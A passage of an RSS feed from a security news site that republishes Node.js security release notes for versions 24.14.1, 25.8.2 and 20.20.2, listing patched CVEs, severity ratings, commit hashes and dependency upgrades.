<li>[<a href="https://github.com/nodejs/node/commit/076acd052d"><code>076acd052d</code></a>] - <strong>(<a title="CVE-2026-21717" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-326m-34v3-gv5p/hovercard" href="https://github.com/advisories/GHSA-326m-34v3-gv5p">CVE-2026-21717</a>)</strong> <strong>deps</strong>: V8: backport 0a8b1cdcc8b2 (snek) <a href="https://github.com/nodejs-private/node-private/pull/809" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/809/hovercard">nodejs-private/node-private#809</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/963c60a951"><code>963c60a951</code></a>] - <strong>deps</strong>: V8: override <code>depot_tools</code> version (Richard Lau) <a href="https://github.com/nodejs/node/pull/62344" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62344/hovercard">#62344</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a688117d5d"><code>a688117d5d</code></a>] - <strong>deps</strong>: upgrade npm to 10.9.7 (npm team) <a href="https://github.com/nodejs/node/pull/62330" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62330/hovercard">#62330</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/859c8c761b"><code>859c8c761b</code></a>] - <strong>deps</strong>: update undici to v6.24.1 (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62285" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62285/hovercard">#62285</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d5ed384a2f"><code>d5ed384a2f</code></a>] - <strong>deps</strong>: upgrade npm to 10.9.6 (npm team) <a href="https://github.com/nodejs/node/pull/62215" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62215/hovercard">#62215</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a2fe9fd81a"><code>a2fe9fd81a</code></a>] - <strong>(<a title="CVE-2026-21710" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-xv6w-gxj8-v943/hovercard" href="https://github.com/advisories/GHSA-xv6w-gxj8-v943">CVE-2026-21710</a>)</strong> <strong>http</strong>: use null prototype for headersDistinct/trailersDistinct (Matteo Collina) <a href="https://github.com/nodejs-private/node-private/pull/821" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/821/hovercard">nodejs-private/node-private#821</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/73deff77c1"><code>73deff77c1</code></a>] - <strong>lib</strong>: backport <code>_tls_common</code> and <code>_tls_wrap</code> refactors (Dario Piotrowicz) <a href="https://github.com/nodejs/node/pull/57643" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/57643/hovercard">#57643</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/06fc3436f6"><code>06fc3436f6</code></a>] - <strong>(<a title="CVE-2026-21716" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-22vj-v4r3-878v/hovercard" href="https://github.com/advisories/GHSA-22vj-v4r3-878v">CVE-2026-21716</a>)</strong> <strong>permission</strong>: include permission check on lib/fs/promises (RafaelGSS) <a href="https://github.com/nodejs-private/node-private/pull/795" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/795/hovercard">nodejs-private/node-private#795</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/db48d9c675"><code>db48d9c675</code></a>] - <strong>(<a title="CVE-2026-21715" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-8jgr-5cgv-g667/hovercard" href="https://github.com/advisories/GHSA-8jgr-5cgv-g667">CVE-2026-21715</a>)</strong> <strong>permission</strong>: add permission check to realpath.native (RafaelGSS) <a href="https://github.com/nodejs-private/node-private/pull/794" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/794/hovercard">nodejs-private/node-private#794</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2a6105a63b"><code>2a6105a63b</code></a>] - <strong>(<a title="CVE-2026-21714" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-cfr8-f5q7-84wq/hovercard" href="https://github.com/advisories/GHSA-cfr8-f5q7-84wq">CVE-2026-21714</a>)</strong> <strong>src</strong>: handle NGHTTP2_ERR_FLOW_CONTROL error code (RafaelGSS) <a href="https://github.com/nodejs-private/node-private/pull/832" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/832/hovercard">nodejs-private/node-private#832</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/91b970886f"><code>91b970886f</code></a>] - <strong>(<a title="CVE-2026-21637" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-ggxc-26fx-987r/hovercard" href="https://github.com/advisories/GHSA-ggxc-26fx-987r">CVE-2026-21637</a>)</strong> <strong>tls</strong>: wrap SNICallback invocation in try/catch (Matteo Collina) <a href="https://github.com/nodejs-private/node-private/pull/819" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/819/hovercard">nodejs-private/node-private#819</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-03-24, Version 24.14.1 'Krypton' (LTS), @RafaelGSS prepared by @juanarbol]]></title>
<description><![CDATA[This is a security release.
Notable Changes

(CVE-2026-21710) use null prototype for headersDistinct/trailersDistinct (Matteo Collina) - High
(CVE-2026-21637) wrap SNICallback invocation in try/catch (Matteo Collina) - High
(CVE-2026-21717) test array index hash collision (Joyee Cheung) - Medium
...]]></description>
<link>https://tsecurity.de/de/3487694/downloads/2026-03-24-version-24141-krypton-lts-rafaelgss-prepared-by-juanarbol/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3487694/downloads/2026-03-24-version-24141-krypton-lts-rafaelgss-prepared-by-juanarbol/</guid>
<pubDate>Tue, 05 May 2026 02:02:49 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This is a security release.</p>
<h3>Notable Changes</h3>
<ul>
<li>(<a title="CVE-2026-21710" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-xv6w-gxj8-v943/hovercard" href="https://github.com/advisories/GHSA-xv6w-gxj8-v943">CVE-2026-21710</a>) use null prototype for headersDistinct/trailersDistinct (Matteo Collina) - High</li>
<li>(<a title="CVE-2026-21637" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-ggxc-26fx-987r/hovercard" href="https://github.com/advisories/GHSA-ggxc-26fx-987r">CVE-2026-21637</a>) wrap SNICallback invocation in try/catch (Matteo Collina) - High</li>
<li>(<a title="CVE-2026-21717" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-326m-34v3-gv5p/hovercard" href="https://github.com/advisories/GHSA-326m-34v3-gv5p">CVE-2026-21717</a>) test array index hash collision (Joyee Cheung) - Medium</li>
<li>(<a title="CVE-2026-21713" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-6r7g-3mm3-fhw7/hovercard" href="https://github.com/advisories/GHSA-6r7g-3mm3-fhw7">CVE-2026-21713</a>) use timing-safe comparison in Web Cryptography HMAC and KMAC (Filip Skokan) - Medium</li>
<li>(<a title="CVE-2026-21714" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-cfr8-f5q7-84wq/hovercard" href="https://github.com/advisories/GHSA-cfr8-f5q7-84wq">CVE-2026-21714</a>) handle NGHTTP2_ERR_FLOW_CONTROL error code (RafaelGSS) - Medium</li>
<li>(<a title="CVE-2026-21712" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-h8r7-m85c-mjhv/hovercard" href="https://github.com/advisories/GHSA-h8r7-m85c-mjhv">CVE-2026-21712</a>) handle url crash on different url formats (RafaelGSS) - Medium</li>
<li>(<a title="CVE-2026-21716" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-22vj-v4r3-878v/hovercard" href="https://github.com/advisories/GHSA-22vj-v4r3-878v">CVE-2026-21716</a>) include permission check on lib/fs/promises (RafaelGSS) - Low</li>
<li>(<a title="CVE-2026-21715" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-8jgr-5cgv-g667/hovercard" href="https://github.com/advisories/GHSA-8jgr-5cgv-g667">CVE-2026-21715</a>) add permission check to realpath.native (RafaelGSS) - Low</li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/6fae244080"><code>6fae244080</code></a>] - <strong>(<a title="CVE-2026-21717" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-326m-34v3-gv5p/hovercard" href="https://github.com/advisories/GHSA-326m-34v3-gv5p">CVE-2026-21717</a>)</strong> <strong>build,test</strong>: test array index hash collision (Joyee Cheung) <a href="https://github.com/nodejs-private/node-private/pull/828" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/828/hovercard">nodejs-private/node-private#828</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cc0910c62e"><code>cc0910c62e</code></a>] - <strong>(<a title="CVE-2026-21713" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-6r7g-3mm3-fhw7/hovercard" href="https://github.com/advisories/GHSA-6r7g-3mm3-fhw7">CVE-2026-21713</a>)</strong> <strong>crypto</strong>: use timing-safe comparison in Web Cryptography HMAC and KMAC (Filip Skokan) <a href="https://github.com/nodejs-private/node-private/pull/822" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/822/hovercard">nodejs-private/node-private#822</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/80cb042cf3"><code>80cb042cf3</code></a>] - <strong>deps</strong>: update undici to 7.24.4 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62271" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62271/hovercard">#62271</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f5b8667dc2"><code>f5b8667dc2</code></a>] - <strong>deps</strong>: update undici to 7.24.3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62233" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62233/hovercard">#62233</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/08852637d9"><code>08852637d9</code></a>] - <strong>deps</strong>: update undici to 7.22.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62035" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62035/hovercard">#62035</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/61097db9fb"><code>61097db9fb</code></a>] - <strong>deps</strong>: upgrade npm to 11.11.0 (npm team) <a href="https://github.com/nodejs/node/pull/61994" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61994/hovercard">#61994</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9ac0f9f81e"><code>9ac0f9f81e</code></a>] - <strong>deps</strong>: upgrade npm to 11.10.1 (npm team) <a href="https://github.com/nodejs/node/pull/61892" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61892/hovercard">#61892</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3dab3c4698"><code>3dab3c4698</code></a>] - <strong>deps</strong>: V8: override <code>depot_tools</code> version (Richard Lau) <a href="https://github.com/nodejs/node/pull/62344" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62344/hovercard">#62344</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/87521e99d1"><code>87521e99d1</code></a>] - <strong>deps</strong>: V8: backport 1361b2a49d02 (Joyee Cheung) <a href="https://github.com/nodejs-private/node-private/pull/828" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/828/hovercard">nodejs-private/node-private#828</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/045013366f"><code>045013366f</code></a>] - <strong>deps</strong>: V8: backport 185f0fe09b72 (Joyee Cheung) <a href="https://github.com/nodejs-private/node-private/pull/828" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/828/hovercard">nodejs-private/node-private#828</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/af22629ea8"><code>af22629ea8</code></a>] - <strong>deps</strong>: V8: backport 0a8b1cdcc8b2 (snek) <a href="https://github.com/nodejs-private/node-private/pull/828" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/828/hovercard">nodejs-private/node-private#828</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/380ea72eef"><code>380ea72eef</code></a>] - <strong>(<a title="CVE-2026-21710" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-xv6w-gxj8-v943/hovercard" href="https://github.com/advisories/GHSA-xv6w-gxj8-v943">CVE-2026-21710</a>)</strong> <strong>http</strong>: use null prototype for headersDistinct/trailersDistinct (Matteo Collina) <a href="https://github.com/nodejs-private/node-private/pull/821" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/821/hovercard">nodejs-private/node-private#821</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d6b6051e08"><code>d6b6051e08</code></a>] - <strong>(<a title="CVE-2026-21716" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-22vj-v4r3-878v/hovercard" href="https://github.com/advisories/GHSA-22vj-v4r3-878v">CVE-2026-21716</a>)</strong> <strong>permission</strong>: include permission check on lib/fs/promises (RafaelGSS) <a href="https://github.com/nodejs-private/node-private/pull/795" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/795/hovercard">nodejs-private/node-private#795</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bfdecef9da"><code>bfdecef9da</code></a>] - <strong>(<a title="CVE-2026-21715" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-8jgr-5cgv-g667/hovercard" href="https://github.com/advisories/GHSA-8jgr-5cgv-g667">CVE-2026-21715</a>)</strong> <strong>permission</strong>: add permission check to realpath.native (RafaelGSS) <a href="https://github.com/nodejs-private/node-private/pull/794" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/794/hovercard">nodejs-private/node-private#794</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c015edf313"><code>c015edf313</code></a>] - <strong>(<a title="CVE-2026-21714" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-cfr8-f5q7-84wq/hovercard" href="https://github.com/advisories/GHSA-cfr8-f5q7-84wq">CVE-2026-21714</a>)</strong> <strong>src</strong>: handle NGHTTP2_ERR_FLOW_CONTROL error code (RafaelGSS) <a href="https://github.com/nodejs-private/node-private/pull/832" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/832/hovercard">nodejs-private/node-private#832</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cba66c48a5"><code>cba66c48a5</code></a>] - <strong>(<a title="CVE-2026-21712" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-h8r7-m85c-mjhv/hovercard" href="https://github.com/advisories/GHSA-h8r7-m85c-mjhv">CVE-2026-21712</a>)</strong> <strong>src</strong>: handle url crash on different url formats (RafaelGSS) <a href="https://github.com/nodejs-private/node-private/pull/816" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/816/hovercard">nodejs-private/node-private#816</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/df8fbfb93d"><code>df8fbfb93d</code></a>] - <strong>(<a title="CVE-2026-21637" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-ggxc-26fx-987r/hovercard" href="https://github.com/advisories/GHSA-ggxc-26fx-987r">CVE-2026-21637</a>)</strong> <strong>tls</strong>: wrap SNICallback invocation in try/catch (Matteo Collina) <a href="https://github.com/nodejs-private/node-private/pull/819" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/819/hovercard">nodejs-private/node-private#819</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-03-24, Version 25.8.2 (Current), @RafaelGSS]]></title>
<description><![CDATA[This is a security release.
Notable Changes

(CVE-2026-21637) wrap SNICallback invocation in try/catch (Matteo Collina) - High
(CVE-2026-21710) use null prototype for headersDistinct/trailersDistinct (Matteo Collina) - High
(CVE-2026-21711) include permission check to pipe_wrap.cc (RafaelGSS) - M...]]></description>
<link>https://tsecurity.de/de/3487693/downloads/2026-03-24-version-2582-current-rafaelgss/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3487693/downloads/2026-03-24-version-2582-current-rafaelgss/</guid>
<pubDate>Tue, 05 May 2026 02:02:47 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This is a security release.</p>
<h3>Notable Changes</h3>
<ul>
<li>(<a title="CVE-2026-21637" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-ggxc-26fx-987r/hovercard" href="https://github.com/advisories/GHSA-ggxc-26fx-987r">CVE-2026-21637</a>) wrap <code>SNICallback</code> invocation in <code>try</code>/<code>catch</code> (Matteo Collina) - High</li>
<li>(<a title="CVE-2026-21710" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-xv6w-gxj8-v943/hovercard" href="https://github.com/advisories/GHSA-xv6w-gxj8-v943">CVE-2026-21710</a>) use null prototype for <code>headersDistinct</code>/<code>trailersDistinct</code> (Matteo Collina) - High</li>
<li>(<a title="CVE-2026-21711" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-vcqx-cqfc-xc2r/hovercard" href="https://github.com/advisories/GHSA-vcqx-cqfc-xc2r">CVE-2026-21711</a>) include permission check to <code>pipe_wrap.cc</code> (RafaelGSS) - Medium</li>
<li>(<a title="CVE-2026-21712" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-h8r7-m85c-mjhv/hovercard" href="https://github.com/advisories/GHSA-h8r7-m85c-mjhv">CVE-2026-21712</a>) handle url crash on different url formats (RafaelGSS) - Medium</li>
<li>(<a title="CVE-2026-21713" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-6r7g-3mm3-fhw7/hovercard" href="https://github.com/advisories/GHSA-6r7g-3mm3-fhw7">CVE-2026-21713</a>) use timing-safe comparison in Web Cryptography HMAC and KMAC (Filip Skokan) - Medium</li>
<li>(<a title="CVE-2026-21714" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-cfr8-f5q7-84wq/hovercard" href="https://github.com/advisories/GHSA-cfr8-f5q7-84wq">CVE-2026-21714</a>) handle <code>NGHTTP2_ERR_FLOW_CONTROL</code> error code (RafaelGSS) - Medium</li>
<li>(<a title="CVE-2026-21717" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-326m-34v3-gv5p/hovercard" href="https://github.com/advisories/GHSA-326m-34v3-gv5p">CVE-2026-21717</a>) test array index hash collision (Joyee Cheung) - Medium</li>
<li>(<a title="CVE-2026-21715" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-8jgr-5cgv-g667/hovercard" href="https://github.com/advisories/GHSA-8jgr-5cgv-g667">CVE-2026-21715</a>) add permission check to <code>realpath.native</code> (RafaelGSS) - Low</li>
<li>(<a title="CVE-2026-21716" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-22vj-v4r3-878v/hovercard" href="https://github.com/advisories/GHSA-22vj-v4r3-878v">CVE-2026-21716</a>) include permission check on <code>lib/fs/promises</code> (RafaelGSS) - Low</li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/2086b7477b"><code>2086b7477b</code></a>] - <strong>(<a title="CVE-2026-21717" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-326m-34v3-gv5p/hovercard" href="https://github.com/advisories/GHSA-326m-34v3-gv5p">CVE-2026-21717</a>)</strong> <strong>build,test</strong>: test array index hash collision (Joyee Cheung) <a href="https://github.com/nodejs-private/node-private/pull/834" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/834/hovercard">nodejs-private/node-private#834</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0f9332a40a"><code>0f9332a40a</code></a>] - <strong>(<a title="CVE-2026-21713" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-6r7g-3mm3-fhw7/hovercard" href="https://github.com/advisories/GHSA-6r7g-3mm3-fhw7">CVE-2026-21713</a>)</strong> <strong>crypto</strong>: use timing-safe comparison in Web Cryptography HMAC and KMAC (Filip Skokan) <a href="https://github.com/nodejs-private/node-private/pull/822" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/822/hovercard">nodejs-private/node-private#822</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2b6937ddb2"><code>2b6937ddb2</code></a>] - <strong>deps</strong>: update undici to 7.24.4 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62271" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62271/hovercard">#62271</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bfb8ad5787"><code>bfb8ad5787</code></a>] - <strong>deps</strong>: update undici to 7.24.3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62233" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62233/hovercard">#62233</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/be6384727f"><code>be6384727f</code></a>] - <strong>deps</strong>: upgrade npm to 11.11.1 (npm team) <a href="https://github.com/nodejs/node/pull/62216" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62216/hovercard">#62216</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2feea5bb97"><code>2feea5bb97</code></a>] - <strong>deps</strong>: V8: override <code>depot_tools</code> version (Richard Lau) <a href="https://github.com/nodejs/node/pull/62344" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62344/hovercard">#62344</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/86c04784dd"><code>86c04784dd</code></a>] - <strong>(<a title="CVE-2026-21710" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-xv6w-gxj8-v943/hovercard" href="https://github.com/advisories/GHSA-xv6w-gxj8-v943">CVE-2026-21710</a>)</strong> <strong>http</strong>: use null prototype for headersDistinct/trailersDistinct (Matteo Collina) <a href="https://github.com/nodejs-private/node-private/pull/821" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/821/hovercard">nodejs-private/node-private#821</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5197a56a34"><code>5197a56a34</code></a>] - <strong>(<a title="CVE-2026-21711" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-vcqx-cqfc-xc2r/hovercard" href="https://github.com/advisories/GHSA-vcqx-cqfc-xc2r">CVE-2026-21711</a>)</strong> <strong>permission</strong>: include permission check to pipe_wrap.cc (RafaelGSS) <a href="https://github.com/nodejs-private/node-private/pull/820" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/820/hovercard">nodejs-private/node-private#820</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/04a886c735"><code>04a886c735</code></a>] - <strong>(<a title="CVE-2026-21716" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-22vj-v4r3-878v/hovercard" href="https://github.com/advisories/GHSA-22vj-v4r3-878v">CVE-2026-21716</a>)</strong> <strong>permission</strong>: include permission check on lib/fs/promises (RafaelGSS) <a href="https://github.com/nodejs-private/node-private/pull/795" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/795/hovercard">nodejs-private/node-private#795</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9a7f80f2b0"><code>9a7f80f2b0</code></a>] - <strong>(<a title="CVE-2026-21715" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-8jgr-5cgv-g667/hovercard" href="https://github.com/advisories/GHSA-8jgr-5cgv-g667">CVE-2026-21715</a>)</strong> <strong>permission</strong>: add permission check to realpath.native (RafaelGSS) <a href="https://github.com/nodejs-private/node-private/pull/794" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/794/hovercard">nodejs-private/node-private#794</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d9c9b628cf"><code>d9c9b628cf</code></a>] - <strong>(<a title="CVE-2026-21714" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-cfr8-f5q7-84wq/hovercard" href="https://github.com/advisories/GHSA-cfr8-f5q7-84wq">CVE-2026-21714</a>)</strong> <strong>src</strong>: handle NGHTTP2_ERR_FLOW_CONTROL error code (RafaelGSS) <a href="https://github.com/nodejs-private/node-private/pull/832" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/832/hovercard">nodejs-private/node-private#832</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/45b55dc786"><code>45b55dc786</code></a>] - <strong>(<a title="CVE-2026-21712" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-h8r7-m85c-mjhv/hovercard" href="https://github.com/advisories/GHSA-h8r7-m85c-mjhv">CVE-2026-21712</a>)</strong> <strong>src</strong>: handle url crash on different url formats (RafaelGSS) <a href="https://github.com/nodejs-private/node-private/pull/816" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/816/hovercard">nodejs-private/node-private#816</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4bfda307c0"><code>4bfda307c0</code></a>] - <strong>(<a title="CVE-2026-21637" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-ggxc-26fx-987r/hovercard" href="https://github.com/advisories/GHSA-ggxc-26fx-987r">CVE-2026-21637</a>)</strong> <strong>tls</strong>: wrap SNICallback invocation in try/catch (Matteo Collina) <a href="https://github.com/nodejs-private/node-private/pull/819" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/819/hovercard">nodejs-private/node-private#819</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-03-24, Version 20.20.2 'Iron' (LTS), @marco-ippolito]]></title>
<description><![CDATA[This is a security release.
Notable Changes

(CVE-2026-21717) fix array index hash collision (Joyee Cheung)
(CVE-2026-21713) use timing-safe comparison in Web Cryptography HMAC and KMAC (Filip Skokan)
(CVE-2026-21710) use null prototype for headersDistinct/trailersDistinct (Matteo Collina)
(CVE-2...]]></description>
<link>https://tsecurity.de/de/3487692/downloads/2026-03-24-version-20202-iron-lts-marco-ippolito/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3487692/downloads/2026-03-24-version-20202-iron-lts-marco-ippolito/</guid>
<pubDate>Tue, 05 May 2026 02:02:46 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This is a security release.</p>
<h3>Notable Changes</h3>
<ul>
<li>(<a title="CVE-2026-21717" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-326m-34v3-gv5p/hovercard" href="https://github.com/advisories/GHSA-326m-34v3-gv5p">CVE-2026-21717</a>) fix array index hash collision (Joyee Cheung)</li>
<li>(<a title="CVE-2026-21713" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-6r7g-3mm3-fhw7/hovercard" href="https://github.com/advisories/GHSA-6r7g-3mm3-fhw7">CVE-2026-21713</a>) use timing-safe comparison in Web Cryptography HMAC and KMAC (Filip Skokan)</li>
<li>(<a title="CVE-2026-21710" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-xv6w-gxj8-v943/hovercard" href="https://github.com/advisories/GHSA-xv6w-gxj8-v943">CVE-2026-21710</a>) use null prototype for headersDistinct/trailersDistinct (Matteo Collina)</li>
<li>(<a title="CVE-2026-21716" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-22vj-v4r3-878v/hovercard" href="https://github.com/advisories/GHSA-22vj-v4r3-878v">CVE-2026-21716</a>) include permission check on lib/fs/promises (RafaelGSS)pull/795&gt;</li>
<li>(<a title="CVE-2026-21715" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-8jgr-5cgv-g667/hovercard" href="https://github.com/advisories/GHSA-8jgr-5cgv-g667">CVE-2026-21715</a>) add permission check to realpath.native (RafaelGSS)</li>
<li>(<a title="CVE-2026-21714" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-cfr8-f5q7-84wq/hovercard" href="https://github.com/advisories/GHSA-cfr8-f5q7-84wq">CVE-2026-21714</a>) handle NGHTTP2_ERR_FLOW_CONTROL error code (RafaelGSS)</li>
<li>(<a title="CVE-2026-21637" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-ggxc-26fx-987r/hovercard" href="https://github.com/advisories/GHSA-ggxc-26fx-987r">CVE-2026-21637</a>) wrap SNICallback invocation in try/catch (Matteo Collina)</li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/cfb51fa9ce"><code>cfb51fa9ce</code></a>] - <strong>(<a title="CVE-2026-21713" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-6r7g-3mm3-fhw7/hovercard" href="https://github.com/advisories/GHSA-6r7g-3mm3-fhw7">CVE-2026-21713</a>)</strong> <strong>crypto</strong>: use timing-safe comparison in Web Cryptography HMAC (Filip Skokan) <a href="https://github.com/nodejs-private/node-private/pull/831" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/831/hovercard">nodejs-private/node-private#831</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f333d0be5f"><code>f333d0be5f</code></a>] - <strong>deps</strong>: V8: override <code>depot_tools</code> version (Richard Lau) <a href="https://github.com/nodejs/node/pull/62344" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62344/hovercard">#62344</a></li>
